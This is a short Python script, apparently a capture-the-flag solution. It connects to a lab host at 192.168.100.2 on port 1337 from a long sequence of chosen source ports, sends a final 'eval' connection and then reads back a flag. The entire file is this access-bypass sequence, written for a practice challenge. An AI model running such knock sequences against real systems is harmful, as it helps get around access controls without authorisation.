35 lines
1.1 KiB
Python
35 lines
1.1 KiB
Python
import socket
|
|
import time
|
|
|
|
TARGET = "192.168.100.2"
|
|
PORTS = [20054,20097,20103,20123,20132,20137,20141,20225,20229,20251,20255,20303,20321,20326,20348,20363,20369,20392,20436,20465,20520,20538,20544,20600,20639,20695,20715,20744,20755,20801,20855,20917,20969,20981,21013,21100,21109,21121,21167,21171,21176,21262,21267,21331,21356,21373,21465,21515,21519,21553,21644,21688,21806,21863,22069,22253,22290,22365,22385,22422,22584,22596,22634,22664,22765,22808,22814,22872,22904,22951,22998,23060,23081,23175,23222,23374,23453,23553,23700,23911,24176,25083]
|
|
|
|
def knock(sport):
|
|
try:
|
|
s = socket.socket()
|
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
s.bind(("", sport))
|
|
s.settimeout(0.5)
|
|
s.connect((TARGET, 1337))
|
|
except:
|
|
pass
|
|
finally:
|
|
s.close()
|
|
|
|
print(f"[*] Knocking {len(PORTS)} ports...")
|
|
for p in PORTS:
|
|
print(f" sport={p}")
|
|
knock(p)
|
|
time.sleep(0.05)
|
|
|
|
print("[*] Sending eval packet (sport=1338)...")
|
|
knock(1338)
|
|
time.sleep(0.3)
|
|
|
|
print("[*] Getting flag...")
|
|
s = socket.socket()
|
|
s.settimeout(5)
|
|
s.connect((TARGET, 1337))
|
|
print(s.recv(4096).decode())
|
|
s.close()
|